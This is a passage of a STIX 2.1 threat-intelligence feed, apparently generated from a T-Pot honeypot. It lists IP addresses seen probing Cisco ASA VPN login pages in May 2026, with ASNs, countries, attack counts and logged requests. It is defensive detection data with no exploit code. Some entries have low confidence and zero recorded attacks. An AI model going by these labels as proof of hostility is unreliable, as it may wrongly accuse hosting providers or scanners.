      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-08T03:20:51.648Z",
          "last_seen": "2026-05-30T05:23:14.708Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ffbd1b14-8163-46dc-b9c3-b201e9604c6a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 39,
          "first_seen": "2026-05-05T21:02:45.548Z",
          "last_seen": "2026-05-27T04:13:23.437Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3078aea0-4783-4cc7-8492-5108badd8dc0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T21:30:19.799Z",
          "last_seen": "2026-05-27T15:52:25.485Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d439912c-5911-47e3-8314-89b90effb214",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T22:18:39.318Z",
          "last_seen": "2026-05-30T11:40:52.919Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--1f47e0ce-22a5-47c1-b62f-c8d22472ec0c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-16T01:33:32.416Z",
          "last_seen": "2026-05-27T15:05:39.616Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SG; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--ea0aa770-7ceb-4b6e-a8b3-7aa327b5d535",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.219.125.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--fbec973d-914a-453e-91ef-c7ef50e971d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-08T19:42:03.202Z",
          "last_seen": "2026-05-29T09:56:28.506Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--81eb3b89-acd7-4c6f-b434-b5fa41efdf01",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:20:10.000Z",
      "valid_until": "2026-06-02T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-04T17:58:19.337Z",
          "last_seen": "2026-05-18T09:04:34.020Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FI; ASN 209378 (Inios Oy)",
      "id": "indicator--6da45bf5-28af-4f1f-9c79-424889d33261",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '150.251.152.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:20:10.000Z",
      "valid_until": "2026-06-02T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--613d7659-a035-43d5-a020-3c8772adf461",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:20:10.000Z",
      "valid_until": "2026-06-02T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-11T09:48:23.460Z",
          "last_seen": "2026-05-29T19:31:00.745Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--878f520c-c8ea-4213-9450-c8ba3cca18cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:20:10.000Z",
      "valid_until": "2026-06-02T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T15:38:34.527Z",
          "last_seen": "2026-05-26T00:04:17.631Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--81333e91-d833-49a9-958e-ceaf2ec4fad2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.103.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:20:10.000Z",
      "valid_until": "2026-06-02T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T10:21:58.048Z",
          "last_seen": "2026-05-29T15:10:25.025Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7cba3a76-8659-43f2-92ee-20199350fc4f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:20:10.000Z",
      "valid_until": "2026-06-02T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T16:32:55.952Z",
          "last_seen": "2026-05-08T01:27:10.620Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b8b325f0-0ddb-4bff-bc24-63ac5bcb0c80",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:20:10.000Z",
      "valid_until": "2026-06-02T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--50ec3232-4ea6-4063-9296-7060ead1e376",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:20:10.000Z",
      "valid_until": "2026-06-02T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T04:12:49.517Z",
          "last_seen": "2026-05-30T06:46:18.646Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1d3d8df2-5db6-4844-ad9b-17dbdc90aca9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:20:10.000Z",
      "valid_until": "2026-06-02T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T15:59:01.090Z",
          "last_seen": "2026-05-15T00:58:37.702Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c9a7d1bb-250e-430e-a1ed-7edc2253926a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:20:10.000Z",
      "valid_until": "2026-06-02T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-02T04:59:49.841Z",
          "last_seen": "2026-05-30T10:42:30.726Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c4e0a745-8f7c-49bd-947e-3850635a796b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:20:10.000Z",
      "valid_until": "2026-06-02T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 10,
          "first_seen": "2026-05-05T19:05:31.891Z",
          "last_seen": "2026-05-24T02:25:26.127Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--5d328eea-d163-4b30-8259-9145e86cd872",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:20:10.000Z",
      "valid_until": "2026-06-02T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 60,
          "first_seen": "2026-05-02T05:29:42.814Z",
          "last_seen": "2026-05-31T02:48:29.216Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--bb859fd0-0ccb-4dd5-9347-46609d18087f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:20:05.000Z",
      "valid_until": "2026-06-03T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-07T07:37:07.714Z",
          "last_seen": "2026-05-22T13:00:17.633Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--7f22e9d1-3cb0-422b-9bb8-cd3697354aed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:20:05.000Z",
      "valid_until": "2026-06-03T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T03:19:53.970Z",
          "last_seen": "2026-05-22T18:48:57.026Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--c97d7233-f39c-46d9-b864-7ddd0a6c3234",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
